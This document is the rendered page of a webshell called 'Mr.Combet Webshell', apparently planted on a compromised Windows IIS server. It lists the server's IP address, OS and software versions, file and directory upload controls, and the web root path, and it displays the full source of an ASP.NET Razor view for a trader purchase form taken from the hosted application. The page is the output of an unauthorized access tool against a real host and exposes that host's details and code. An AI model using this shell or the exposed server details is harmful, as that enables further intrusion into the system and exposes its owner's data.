Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa_bak
/
mapqa
/
Views
/
Trader
/
View File Name :
TranscationCreate.cshtml
@model RER_Project.DataAccess.ViewModels.TraderDataVm @{ ViewBag.Title = "TranscationCreate"; Layout = "~/Views/Shared/_Layout.cshtml"; } @{ int page = 1; var name = ""; int fyId = 0; int provinceId = 0; int districtId = 0; int municipalityId = 0; int memberid = 0; string groupId = ""; int traderId = ViewBag.traderid; } @using RER_Project.Core.Helpers @using RER_Project.BusinessLayer.BusinessService; @{ var meta = AppUserService.GetCurrent(); } <div class="row wrapper border-bottom white-bg page-heading"> <div class="col-md-12"> <ol class="breadcrumb"> <li class="active"> <strong> Create Purchase </strong> </li> </ol> <br /> <div class="row"> <div class="col-lg-12"> <span style="font-size: 100%;"> Business Name: <strong>@Model.trader[0].name</strong> </span> <span style="font-size: 100%;"> Province: <strong>@Model.trader[0].province</strong> </span> <span style="font-size: 100%;"> Atoll: <strong>@Model.trader[0].district</strong> </span> <span style="font-size: 100%;"> Island: <strong>@Model.trader[0].paliaka</strong> </span> </div> </div> <br /> <div class="row"> <div class="col-lg-12"> <span style="font-size: 100%;"> Nature Of Business: <strong>@Model.trader[0].nature</strong> </span> <span style="font-size: 100%;"> Address: <strong>@Model.trader[0].addressofbusiness</strong> </span> </div> </div> </div> </div> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <form id="createtradertranscation"> <div class="ibox-content"> <div class="row"> <div class="form-group col-md-2"> <label><strong>Fiscal Year</strong></label> <select type="text" class="form-control required" name="fyId" id="fyId" data-api="/fiscal_year_unlocked/select" data-api-selected-value="3"></select> </div> <div class="form-group col-md-2"> <label><strong>Quarter: </strong></label> <select type="text" class="form-control required" name="Quarter" id="Quarter" data-api="/quarter/select"> </select> </div> <div class="form-group col-md-2"> <label><strong>Commodity</strong></label> <select type="text" class="form-control required" id="CommodityForProductionTab" name="CommodityForProductionTab" data-api="/commodity/select/exceptother"></select> </div> <div class="form-group col-md-2"> <label><strong>Product Name</strong></label> <select type="text" class="form-control required" name="Category" id="CategoryForProductionTab"></select> </div> <div class="form-group col-md-2"> <label><strong>Purchase Quantity</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter " onkeypress="return isNumberKey(this,event)" maxlength="15" name="purchaseqty" id="purchaseqty"> </div> </div> <div class="form-group col-md-2"> <label><strong>Purchase Amount</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter " onkeypress="return isNumberKey(this,event)" maxlength="15" name="purchaseamt" id="purchaseamt"> <span><strong>MVR</strong></span> </div> </div> @*<div class="form-group col-md-2"> <label><strong>Sales Quantity</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter " onkeypress="return isNumberKey(this,event)" maxlength="15" name="salesqty" id="salesqty"> </div> </div> <div class="form-group col-md-2"> <label><strong>Sales Amount</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter " onkeypress="return isNumberKey(this,event)" maxlength="15" name="salesamt" id="salesamt"> <span><strong>MVR</strong></span> </div> </div> <div class="form-group col-md-2"> <label><strong>Sales Invoice No</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter " onkeypress="return isNumberKey(this,event)" maxlength="15" name="salesinvoice" id="salesinvoice"> </div> </div>*@ <div class="form-group col-md-2"> <label><strong>Invoice Received By</strong></label> <select type="text" class="form-control required" name="invoiceid" id="invoiceid" data-api="/invoice/record" data-api-selected-value="3"></select> </div> <div class="form-group col-md-3"> <label><strong> IFF Info</strong></label> <select type="text" class="form-control required select2" id="GroupId" name="GroupId" data-api="/trader/contracted?traderid= @ViewBag.traderid" data-api-selected-value="@groupId"> <option value="">All</option> </select> </div> <div class="form-group col-md-3"> <label><strong> Farmer Name</strong></label> <select type="text" class="form-control required select2" name="farmerId" id="farmerId" data-api="/contracted-farmer-name" disabled="" data-api-selected-value="@memberid"> </select> </div> </div> <div class="row"> <div class="pull-right" style="margin: 15px;"> <button class="btn btn-primary" id="save">Save</button> <a href="@("/trader_transactions?traderId="+ traderId)" class="btn btn-primary" id="back">Back</a> </div> </div> <hr /> </div> </form> </div> </div> </div> </div> <script> var isFilter = false; $(document).ready(function () { window.initializeSelectApis(); window.initializeCascadeLocation(); window.initializeCommodityWiseCommoditySubTypeForProductionTab(); @* window.initializeGroup();*@ window.initializeCascadeLocation(); var memberID = $('#farmerId'); $('.select2').select2(); debugger; @* getTraderList();*@ }); $("#GroupId").off("change").on("change", function () { debugger; const groupid = $(this).val(); const farmerid = $("#farmerId").val(); debugger if (groupid) { $("#farmerId").val(''); $("#farmerId").prop("disabled", false); } else { $("#farmerId").val(""); $("#farmerId").prop("disabled", "disabled"); }; displayFieldBinder($("#farmerId"), "/contracted-farmer-name?groupId=" + groupid + "&traderid=" +@ViewBag.traderid , null, null, function () { const selectedValue = $("#GroupId").attr("data-api-selected-value"); if (selectedValue !== groupid) { $("#farmerId").attr("data-api-selected-value", ""); } if (selectedValue === groupid) { $("#farmerId").val(farmerid); } $("#farmerId").trigger("change"); }); }); $('#filter').off("click").on("click", function () { isFilter = true; @* WorkForce.loader.show();*@ @* getTraderList();*@ }); $('#clear').off("click").on("click", function () { isFilter = true; $('#fyId').val(""), $('#CommodityForProductionTab').val(""), $('#CategoryForProductionTab').val(""), $('#GroupId').val(""), $('#farmerId').val("") }); $("#save").off("click").on("click", function () { debugger; function request(model) { const url = "/trader/transcation/create"; const data = JSON.stringify(model); debugger; return window.getAjaxRequest(url, "POST", data); } const form = $("#createtradertranscation"); console.log("from", form); $.validator.unobtrusive.parse(form); debugger; if (!form.valid()) { return false; }; if (!window.confirmAction()) { return; }; WorkForce.loader.show(); var allFormData = window.serializeForm(form); function getModel() { debugger; return (getFarmerDiaryExpencePlan()); } function getFarmerDiaryExpencePlan() { var farmerDiaryExpencePlan = {}; debugger; var purchase= $('#purchaseamt').val(); var purchaseqty = $('#purchaseqty').val(); var commodity = $('#CommodityForProductionTab').val(); var category= $('#CategoryForProductionTab').val(); var fisacl = $('#fyId').val(); var quarter = $('#Quarter').val(); var farmer= $('#farmerId').val(); var groupid= $('#GroupId').val(); @* var salesinvoice= $('#salesinvoice').val(); var salesamt= $('#salesamt').val(); var salesqty = $('#salesqty').val();*@ farmerDiaryExpencePlan.id = 0; farmerDiaryExpencePlan.is_pruchase = true; farmerDiaryExpencePlan.is_sales = false; farmerDiaryExpencePlan.trader_id =@traderId; farmerDiaryExpencePlan.group_id = parseInt(allFormData.GroupId); farmerDiaryExpencePlan.member_id = parseInt(allFormData.farmerId); farmerDiaryExpencePlan.fiscal_year = parseInt(allFormData.fyId); farmerDiaryExpencePlan.quarter = parseInt(allFormData.Quarter); farmerDiaryExpencePlan.commodityid = parseInt(allFormData.CommodityForProductionTab); farmerDiaryExpencePlan.productid = parseInt(category); farmerDiaryExpencePlan.purchase_qty = removeCommaFromString(allFormData.purchaseqty); farmerDiaryExpencePlan.purchase_amount = removeCommaFromString(allFormData.purchaseamt); @* farmerDiaryExpencePlan.sales_qty = removeCommaFromString(allFormData.salesqty); farmerDiaryExpencePlan.sales_amount = removeCommaFromString(allFormData.salesamt); farmerDiaryExpencePlan.sales_invoice_number = removeCommaFromString(allFormData.salesinvoice);*@ farmerDiaryExpencePlan.invoice_receive_by = parseInt(allFormData.invoiceid); return farmerDiaryExpencePlan; console.log("farmerDiaryExpencePlan", farmerDiaryExpencePlan); } const model = getModel(); const ajax = request(model); ajax.done(function (response) { debugger; WorkForce.loader.hide(); showNotification("success"); window.location = "/trader_transactions?traderId=@traderId"; //farmerDiaryExpencePlan(); // clear the form in data }); }) ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); function farmerDiaryExpencePlan() { $('#purchaseamt').val(""); $('#purchaseqty').val(""); $('#CategoryForProductionTab').val(""); $('#CommodityForProductionTab').val(""); $('#fyId').val(""); $('#Quarter').val(""); $('#farmerId').val(""); $('#GroupId').val(""); @* $('#salesinvoice').val(""); $('#salesamt').val(""); $('#salesqty').val("");*@ } function isNumberKey(element, evt) { var charCode = (evt.which) ? evt.which : event.keyCode if (charCode > 31 && (charCode < 48 || charCode > 57) && !(charCode == 46 || charCode == 8)) return false; else { var len = $(element).val().length; var index = $(element).val().indexOf('.'); if (index > 0 && charCode == 46) { return false; } if (index > 0) { var CharAfterdot = (len + 1) - index; if (CharAfterdot > 3) { return false; } } } return true; } function getNumberWithComma(value) { return Number(parseFloat(value).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 0 }) } function removeCommaFromString(value) { debugger; console.log(value); var result = parseFloat(value.replace(/,/g, '')); if (isNaN(result)) { return 0; } else { return result; } } </script>